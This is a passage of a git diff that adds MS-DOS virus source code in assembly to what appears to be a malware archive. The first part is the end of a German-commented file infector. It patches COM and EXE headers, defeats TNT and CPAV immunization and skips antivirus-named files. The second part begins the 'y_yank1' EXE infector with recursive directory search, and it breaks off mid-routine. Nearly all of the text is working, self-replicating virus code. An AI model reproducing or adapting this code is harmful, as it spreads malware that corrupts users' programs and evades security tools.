+;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +;------------------------------------------------------------------------------ +; OFS des Rcksprungs in den Host (100H) setzen, SEG wird w„hrend der Laufzeit +; eingesetzt... ( ist je nach freiem Speicher immer unterschiedlich!) +;------------------------------------------------------------------------------ + MOV WORD PTR CS:[OFFSET HOST_OFS-FAKTOR],100H + +;------------------------------------------------------------------------------ +; Sprung vom HOST in den VIRUS setzen und an den Anfang der Datei schreiben: +;------------------------------------------------------------------------------ + MOV BYTE PTR CS:[OFFSET PUFFER-FAKTOR+3],0E9H ;JMP setzen + SUB SI,3 ;JMP und Dateil„nge anpassen + MOV WORD PTR CS:[OFFSET PUFFER-FAKTOR+4],SI ;Offset setzen + + MOV AH,40H ;Datei beschreiben + MOV CX,3 ;Anzahl zu schreibender Bytes + MOV DX,OFFSET PUFFER-FAKTOR+3 ;OFS des Puffers + CALL GODOS ;Handle in + JNC F_INFECT ;--> F_INFECT --> +F_MODIFY: JMP MODIFY ;FEHLER --> SCHLIESSEN +F_INFECT: XOR DI,DI ;LO-OFS des FilePtr in (s.u.) + JMP INFECT ; --> INFECT !!! + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ EXE: ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +GO_EXE: MOV BYTE PTR CS:[COMEXE-FAKTOR],1 ;COMEXE auf EXE setzen + +;------------------------------------------------------------------------------ +; Dateil„nge im EXE-Kopf (in Seiten zu 512 Bytes) in BYTEs wandeln und in +; (LO-WORD) und (HI-WORD) speichern ( ---> um die EXE-Dateil„nge im EXE- +; Kopf mit der oben ermittelten physikalischen Dateil„nge vergleichen zu k”n- +; nen !!!): +;------------------------------------------------------------------------------ + MOV AX,WORD PTR CS:[OFFSET PUFFER+4-FAKTOR] ;F_L„nge (in Seiten zu... + DEC AX ;...512 BYTEs) in + MOV CX,512 ;Mit 512 malnehmen, und... + MUL CX ;...somit in BYTEs wandeln + ADD AX,WORD PTR CS:[OFFSET PUFFER+2-FAKTOR] ;BYTEs der letzten Seite drauf + JNC EXE_TEST ;šBERTRAG? NEIN --> EXE_TEST + INC DX ;JA --> HI-WORD der Dateigr”áe erh”hen + +;------------------------------------------------------------------------------ +; Physikalische Dateil„nge (: LO-WORD / : HI-WORD) mit der Dateil„nge +; im EXE-Kopf (: LO-WORD / : HI-WORD) vergleichen, somit auf Overlays +; in der EXE-Datei testen: +;------------------------------------------------------------------------------ +EXE_TEST: CMP AX,SI ;LO-WORD im EXE-Kopf=LO-WORD der Dateigr”áe? + JNE POP_CLOSE ;NEIN --> CLOSE + CMP DX,DI ;HI-WORD im EXE-Kopf=HI-WORD der Dateigr”áe? + JE SET_EXE ;JA --> SET_EXE +POP_CLOSE:POP AX ;Datum wird nicht mehr gebraucht (vom Stack) + POP BP ;(s.o...) + JMP CLOSE ;NEIN --> CLOSE + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ EXE: Rcksprung & JMP setzen ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +;============================================================================== +; EXE-Datei IST TAUGLICH! Neues und neuen vorbereiten, altes und +; (AUS DEM EXE-Kopf) fr den Rcksprung vorbereiten: +;============================================================================== +;------------------------------------------------------------------------------ +; Dateil„nge in Paras wandeln: +;------------------------------------------------------------------------------ +SET_EXE: MOV AX,SI ;LO-WORD der L„nge in sichern + MOV DX,DI ;HI-WORD der L„nge in sichern + + MOV CL,4 ;LOW-WORD der Dateil„nge... + SHR AX,CL ;...in PARAs wandeln + MOV CL,12 ;Unteren 4 BITs des HI-WORD der Datei- + SHL DX,CL ;...l„nge in oberen 4 BITs verschieben + OR AX,DX ;Beides verknpfen: Dateil„nge in PARAs + +;------------------------------------------------------------------------------ +; EXE-File auf VOLLE Paragraphenl„nge testen, falls noch BYTEs zum vollen Para- +; graphen ben”tigt werden, wird dies in gemerkt und das neue um einen +; Para erh”ht (Virus beginnt immer am Paragraphenstart!!!): +;------------------------------------------------------------------------------ + AND SI,01111B ;Alles bis auf die unteren 4 BITs ausmaskieren + MOV DI,10000B ;Wieviel bleibt zu einem PARA brig... + SUB DI,SI ;...in merken + AND DI,01111B ;Alles bis auf die unteren 4 BITs ausmaskieren + JZ NEU_KOPF ;PARA ist schon voll --> NEU_KOPF + INC AX ;Neues um einen PARA erh”hen + +;------------------------------------------------------------------------------ +; EXE-Kopfl„nge abziehen, und somit neues in : +;------------------------------------------------------------------------------ +NEU_KOPF: SUB AX,WORD PTR CS:[OFFSET PUFFER+8-FAKTOR] ;Dateil„nge MINUS Kopf + +;------------------------------------------------------------------------------ +; Rcksprung vorbereiten, Differenz zwischen neuem und altem : +;------------------------------------------------------------------------------ + MOV CX,AX ;Neues in sichern + MOV DX,WORD PTR CS:[OFFSET PUFFER+16H-FAKTOR] ;Altes in + SUB CX,DX ;Unterschied zw. Neu und Alt + MOV WORD PTR CS:[OFFSET EXE_SEG+1-FAKTOR],CX ;Rcksprung vorbereiten (SEG) + +;------------------------------------------------------------------------------ +; Neuen EXE-Start setzen, alten in den Rcksprungpuffer schieben: +;------------------------------------------------------------------------------ + MOV CX,WORD PTR CS:[OFFSET PUFFER+14H-FAKTOR] ;Altes in + MOV WORD PTR CS:[OFFSET HOST_OFS-FAKTOR],CX ;Rcksprung vorbereiten (OFS) + +;------------------------------------------------------------------------------ +; Neues im EXE-Kopf eintragen, neuen im EXE-Kopf auf null setzten: +;------------------------------------------------------------------------------ + MOV WORD PTR CS:[OFFSET PUFFER+16H-FAKTOR],AX ;Neues + MOV WORD PTR CS:[OFFSET PUFFER+14H-FAKTOR],0 ;Neuer + +;------------------------------------------------------------------------------ +; EXE-Dateil„nge anpassen (Anzahl BYTEs in der letzten Seite um {ANZBYTES} er- +; h”hen und beim berlauf ber 512 BYTEs das 512-BYTE-pro-Seite Word um eins +; erh”hen) : +;------------------------------------------------------------------------------ + MOV AX,WORD PTR CS:[OFFSET PUFFER+2-FAKTOR] ;Anzahl BYTEs der letzten Seite + ADD AX,DI ;BYTEs des letzten PARAs dazu... + ADD AX,ANZBYTES ;...Virusl„nge dazu + MOV DX,AX ;Diesen Wert in merken! + + AND AX,0111111111B ;Unteren 9 BITs=512 NICHT ausmaskieren + JNZ EXE_ZERO ;Sonderfall? NEIN --> EXE_ZERO + MOV AX,512 ;Letzte Seite=Voll + SUB DX,512 ;Anzahl Seiten weniger 1 + +EXE_ZERO: MOV WORD PTR CS:[OFFSET PUFFER+2-FAKTOR],AX ;BYTEs der letzten Seite + MOV CL,9 ;Den Rest in Seiten zu jeweils... + SHR DX,CL ;...512 BYTEs umrechnen (shiften) + + ADD WORD PTR CS:[OFFSET PUFFER+4-FAKTOR],DX ;Auf die ursprngliche L„nge drauf! + +;------------------------------------------------------------------------------ +; Stack-SEG um {ANZBYTES/10H) Paragraphen nach hinten versetzen: +;------------------------------------------------------------------------------ + ADD WORD PTR CS:[OFFSET PUFFER+0EH-FAKTOR],(ANZBYTES/10H) ; nach hinten + +;============================================================================== +;EXE-Kopf erfolgreich modifiziert! Diesen Kopf jetzt in die Datei schreiben: +;============================================================================== + MOV AH,40H ;Datei beschreiben + MOV CX,18H ;Anzahl zu schreibender Bytes + MOV DX,OFFSET PUFFER-FAKTOR ;OFS des Puffers + CALL GODOS ;Handle in + JC MODIFY ;FEHLER --> SCHLIESSEN + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ TNT und CPAV berlisten: ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +INFECT: CMP BYTE PTR CS:[OFFSET IMMUN-FAKTOR],0 ;Immunisiert? + JZ INF_CONT ;NEIN --> INF_CONT + + MOV AX,4202H ;Dateizeiger relativ zum Ende bewegen + MOV CX,0FFFFH ;HI-WORD des FilePtr + MOV DX,(-172H) ;LO-WORD des FilePtr + CALL GODOS ;Handle in + + MOV AH,3FH ;Datei lesen + MOV CX,20H ;Anzahl zu lesender BYTES + MOV DX,OFFSET VIR_END-FAKTOR ;OFS des Puffers, SEG in + CALL GODOS ;Handle in + +;------------------------------------------------------------------------------ +IMUN_TST: MOV SI,CX ;Anzahl zu lesender BYTEs in + DEC SI ;NULL als Zahl interpretieren! + CMP WORD PTR CS:[OFFSET VIR_END-FAKTOR+SI],09B4H ;Target gefunden? + JZ BREAK_IT ;JA --> BREAK_IT + LOOP IMUN_TST ;NEIN --> IMUN_TST + JMP INF_CONT ;NIX...INF_CONT! + +;------------------------------------------------------------------------------ +BREAK_IT: MOV AX,4202H ;Dateizeiger relativ zum Ende bewegen + MOV DX,172H ;LO-WORD des FilePtr + SUB DX,SI ;Target-Position abziehen + NEG DX ;Negieren (FilePtr rckw„rts!) + MOV CX,0FFFFH ;HI-WORD des FilePtr + CALL GODOS ;Handle in + + MOV AH,40H ;Datei beschreiben + MOV CX,2 ;Anzahl zu schreibender Bytes + MOV DX,OFFSET ANTI_IMUN-FAKTOR ;OFS des Puffers + CALL GODOS ;Handle in + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ FielPtr "SPACEN" (frher: Fll-BYTEs schreiben): ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +INF_CONT: MOV AX,4202H ;Dateizeiger relativ zum Ende bewegen + XOR CX,CX ;HI-WORD des FilePtr + MOV DX,DI ;LO-WORD des FilePtr (Fll-BYTEs... + CALL GODOS ;... in ), Handle in + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ Generationsz„hler erh”hen: ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + INC WORD PTR CS:[OFFSET KOPIE-FAKTOR] ;LO-Z„hler erh”hen + JNZ GO_COPY ;Kein berlauf --> ENDE + INC WORD PTR CS:[OFFSET KOPIE-FAKTOR+2] ;HI-Z„hler erh”hen + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ KOPIEREN: ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +GO_COPY: MOV AH,40H ;Datei beschreiben + MOV CX,ANZBYTES ;Anzahl zu schreibender Bytes + XOR DX,DX ;OFS des Puffers + CALL GODOS ;Handle in + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ Altes DATUM und alte ZEIT NEU setzen: ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +MODIFY: MOV AX,5701H ;Datum und Zeit der Datei restaurieren + POP DX ;Altes Datum holen + POP CX ;Alte Uhrzeit holen + CALL GODOS ;Handle in + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ Datei schlieáen: ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +CLOSE: MOV AH,3EH ;Datei schliessen + CALL GODOS ;Hoffentlich Ok... + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ Attribut der Datei restaurieren ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +BREAK: POP DS ;SEG des Dateinamens in ... + POP DX ;...OFS in + POP CX ;Attribut in + + MOV AX,4301H ;Attribut einer Datei setzen + CALL GODOS ;SEG in und OFS in (s.o.) + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ INT 13H auf neuen (nach dem Virus) Vektor setzen: ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +REST_INT: POP DX ;OFS in + POP DS ;SEG in + MOV AX,2513H ;Vektor neu setzen + CALL GODOS ;--> Dose direkt callen + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ Kritikal Errorhandler wieder restaurieren: ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + POP DX ;OFS in + POP DS ;SEG in + MOV AL,24H ;=24, Vektor neu setzen + CALL GODOS ;--> Dose direkt callen + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ INT beenden... ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + JMP NEU21END ;INT Beenden --> NEU21END + +NEU21 ENDP + +;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +;º Nicht zu infizierende Dateien: º +;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍŒ +SCAN DB "ASC" ;1: "SCAn" + DB "ECL" ;2: "CLEan" + DB "HVS" ;3: "VSHield" + DB "RVI" ;4: "VIRus" + DB "NWI" ;5: "WINdows" + +ANZ_SCAN EQU 5 ;Anzahl eingegebener Viren + +;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +;º SEEK_BEG: Dateizeiger auf den Anfang der Datei setzen: º +;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍŒ +SEEK_BEG PROC NEAR + + MOV AX,4200H ;Dateizeiger bew., relativ zum Anfang + XOR CX,CX ;HI-WORD des Offset + XOR DX,DX ;LO-WORD des offset + CALL GODOS ;Handle in + + RET ; --> HOME + +SEEK_BEG ENDP + +;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +;º GODOS: Direkter Aufruf von INT 21H º +;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍŒ +GODOS PROC NEAR ;DOS-INT direkt aufrufen!!! + + PUSHF + CALL DWORD PTR CS:[ALT21-FAKTOR] + RET + ;--> Is 17 BYTEs kleiner als die +GODOS ENDP ;Methode mit den Vektoren umbiegen..! + +;============================================================================== +COMEXE DB 0 ;COM oder EXE-File..? + +ANTI_IMUN DB 0EBH,034H ;Nix-Merken-JMP fr CPAV und TNT + +KOPIE DD 1 ; ÚÄÄÄ Double-Word fr die Anzahl der Generationen +;  ÀÄÄÄÄÄÄ¿ +;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ³ +;º ÚÄÄÄÄÄÄ DOUBLE-WORD ÄÄÄÄÄÄÄ¿ º  +;º   º Das Double-Word +;º ÚÄ LO-WORD Ä¿ ÚÄ HI-WORD Ä¿ º steht x Bytes VOR +;º     º DEM ENDE des +;º LO-BYTE HI-BYTE LO-BYTE HI-BITE º infizierten Programms +;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍŒ + +KENNUNG DW ID_WORD ;Kenn-WORD + +PUFFER DB 3 DUP(90H) ;Puffer (EXE-Kopf, etc.), mit NOPs gefllt (COM) + +;============================================================================== +VIR_END EQU $ +;  +; ÃÄÄ Ausgelagerter Puffer (20H BYTEs) +;  +BUF_END EQU VIR_END+1FH +;------------------------------------------------------------------------------ +ALT13 EQU BUF_END+1 +;  +; ÃÄÄ Alter Vektor von INT 13H +;  +ALT13_END EQU ALT13+3 +;------------------------------------------------------------------------------ +AKTIV EQU ALT13_END+1 +;  +; ÃÄÄ Aktiv-Flag fr den residenten Teil des Virus +;  +AKTIV_END EQU AKTIV +;------------------------------------------------------------------------------ +IMMUN EQU AKTIV+1 ;ÄÄÄ> IMMER DER LETZT EINTRAG! (s. Virus-Kopf) +;  +; ÀÄÄ Ist die Zieldatei immunisiert worden von TNT oder CPAV ? +; +;============================================================================== +CODE ENDS + +END START + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.y_yank1.asm b/MSDOS/Virus.MSDOS.Unknown.y_yank1.asm new file mode 100644 index 00000000..20114db5 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.y_yank1.asm @@ -0,0 +1,1001 @@ +comment / Good luck! Vladimir Botchev, CICT-BAS, december 1988 / + +data_area struc ;Define a pattern for working data + ;area +DS_save dw ? +ES_save dw ? +IP_save dw ? +CS_save dw ? +SS_save dw ? +filematch db '*.exe',00h ;Names for files to infect +matchall db '*.*',00h ;needed for the matching procedure +infected dw 00h ;A very useful flag +help_flag dw 00h ;These two flags are needed to +where_from_flag dw 00h ;determine if virus is free running + ;or from an infected program + ;therefore it's very important + ;that where_from_flag value + ;is set to zero at assembly time +handle dw ? +ip_old dw ? ;old instruction pointer +cs_old dw ? ;old value of code segment +ss_old dw ? +far_push dw ? +save_push dw ? +buffer1 db '\',63 dup (?) +virus_stamp db 'motherfucker' ;Very hard to obtain in a random way +buffer2 db 2b0h dup (?) +new_area db 64 dup (?) +new_data db 64 dup (?) +pointer1 dw ? +pointer2 dw ? +pointer3 dw ? +pointer4 dw ? +pointer5 dw ? +pointer6 dw ? +pointer7 dw ? +pointer8 dw ? + +data_area ends + + org 100h ;Defined for .com file as virus must + ;be able to run on itself +start: call setup_data ;This is a near call therefore it's a + ;three byte instruction.It's purpose is + ;to catch correct data area address + ;even when virus is appended to the + ;infected .exe program +adjust equ offset pgm_start ;Known offset value +pgm_start label word +virussize equ 2793 + +work: mov ax,ds ;Save old DS + push cs + pop ds ;Update to needed DS value + mov si,offset buffer.DS_save ;Put old DS in a quiet place + sub si,adjust + add si,bx + mov [si],ax + mov si,offset buffer.ES_save ;Save it because Get DTA side effects + sub si,adjust + add si,bx + mov ax,es + mov [si],ax + push cs ;Imperative because DI usage + pop es + push bx ;It's imperative to always keep + ;this value unchanged + mov ax,2f00h ;Get DTA function call + int 21h + mov cx,bx ;save address found + pop bx + mov si,offset buffer.pointer1 + sub si,adjust + add si,bx + mov [si],cx + add si,2 ;Locate the segment immediately above + mov ax,es + mov [si],ax + push cs + pop es + mov di,offset buffer.buffer1 ;adjust for first search + inc di ;Jump over the '\' + sub di,adjust + add di,bx + mov dx,0000h + push bx + call search_exe + pop bx + mov si,offset buffer.where_from_flag + sub si,adjust + add si,bx + cmp word ptr [si],0000h + jnz infected_run + int 020H + +infected_run: + mov si,offset buffer.pointer1 + sub si,adjust + add si,bx + mov dx,[si] + push ds + mov ax,[si+2] + mov ds,ax + push bx + mov ax,1a00h + int 21h + pop bx + pop ds ;Restore original DTA + mov si,offset buffer.ES_save + sub si,adjust + add si,bx + mov ax,[si] + mov es,ax ;Restore ES + push bx ;Here you can do whatever you want + call mary_proc + pop bx + mov si,offset buffer.IP_save + sub si,adjust + add si,bx + mov ax,[si] + mov dx,[si+2] + mov si,offset buffer.far_push ;Restore original code + sub si,adjust ;segment + add si,bx + mov cx,[si] + push ax + mov ax,cs + sub ax,cx + mov di,ax ;For stack + add dx,ax + pop ax + + mov si,offset buffer.SS_save + sub si,adjust ;Restore stack segment + add si,bx + mov cx,word ptr [si] + add cx,di + + push es + pop ds + + cli + mov ss,cx + sti + push dx + push ax + retf + +search_exe PROC + push si + push dx + call transfer_filespec ;transfer filename in another + ;working area + call find_first ;try to find a first match + jc not_here ;first match not found + call try_to_infect ;if found try to infect + ;infected != 0 if success + mov si,offset buffer.infected + sub si,adjust + add si,bx + test word ptr [si],0ffffh + jz try_next + jmp quiet_exit + +try_next: + call find_next ;If infection was not succesful + ;try once more + jc not_here + call try_to_infect ;If match found try to infect + mov si,offset buffer.infected ;again + sub si,adjust + add si,bx + test word ptr [si],0ffffh + jz try_next + jmp quiet_exit ;quiet exit simply jumps + ;to a return instruction +not_here: + pop dx ;If first searches are + push dx ;unsuccesful try a '*.*' match + call search_all + call find_first + jnc attribute_test ;i.e. expect probably to + ;find a subdirectory +quiet_exit: + pop dx + pop si + ret + +attribute_test: + mov si,dx ;offset of DTA + test byte ptr [si+015h],010h ;where attribute byte is to + ;be found.Try first with + ;subdirectory attribute + jne dir_found ;subdirectory found +more_tries: + call find_next ;Since the search was initiated + ;with '*.*' if this is not a + ;directory try to found one + jc quiet_exit ;No sense to search more + test byte ptr [si+015h],010h + jz more_tries ;Search to the end +dir_found: + cmp byte ptr [si+01Eh],02Eh ;Compare with the subdirectory + ;mark '.' + jz more_tries ;looking for files no + ;subdirectories + call dta_compute ;Valid entry, now set some DTA + ;and continue to search + push ax + mov ah,01Ah ;Set DTA function call + int 021h + pop ax + push si + mov si,offset buffer.infected + sub si,adjust + add si,bx + test word ptr [si],0ffffh + pop si + jnz quiet_exit + jmp more_tries +search_exe ENDP + +dta_compute PROC + push di ;Save some registers + push si + push ax + push bx + cld ;Up count for SI,DI pair + mov si,dx ;DTA address to SI + add si,01EH ;and add subdirectory + ;name offset +store_loop: + lodsb + stosb + or al,al + jne store_loop ;store loop + std + stosb + mov al,05Ch ;Put in place the path name constructor + stosb + add di,2 ;Adjust di for new searches + call search_exe ;a heavily recursion + pop bx ;some cleanup and exit + pop ax + pop si + pop di + ret +dta_compute ENDP + +try_to_infect PROC + push ax + push bx + push cx + push dx + push si + push di + + push es + push bx + mov ax,2f00h ;Get DTA function call + int 21h + mov ax,bx + pop bx + mov si,offset buffer.pointer3 + sub si,adjust + add si,bx + mov [si],ax ;Offset saved + add si,2 + mov ax,es + mov [si],ax + pop es ;Segment located just above + + mov dx,offset buffer.new_data + sub dx,adjust + add dx,bx + push bx + mov ax,1a00h + int 21h ;Set DTA function call + pop bx ;It's very important to save BX in all calls + mov di,offset buffer.new_area + mov si,offset buffer.buffer1 + sub di,adjust + sub si,adjust + add di,bx + add si,bx + cld ; Move previously found pathname or filename + ; to new data area +move_path: + lodsb + stosb + or al,al + jnz move_path + std ;adjust DI to recieve + mov al,'\' ;filename. + mov cx,0040h + std ;Search backward + repne scasb + + mov si,offset buffer.pointer3 + sub si,adjust + add si,bx + mov ax,[si] + mov si,ax + add di,2 +o_kay: + add si,001eh ;The beginning of the filename... + cld ;Now move name +move_fnm: + lodsb + stosb + or al,al + jnz move_fnm + + push dx + push bx + mov dx,offset buffer.new_area + sub dx,adjust + add dx,bx + mov ax,3d02h ;Open file with handle for read/write + int 21h + pop bx + pop dx + jnc go_ahead ;In case file cannot be opened + jmp error_exit +go_ahead: + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov [si],ax ;Save handle + + push bx + mov bx,ax ;Prepare for lseek + push dx + mov cx,0000h ;Look at the end of the file + mov dx,0000h ;Offset of -12 from the end of the file + mov ax,4202h 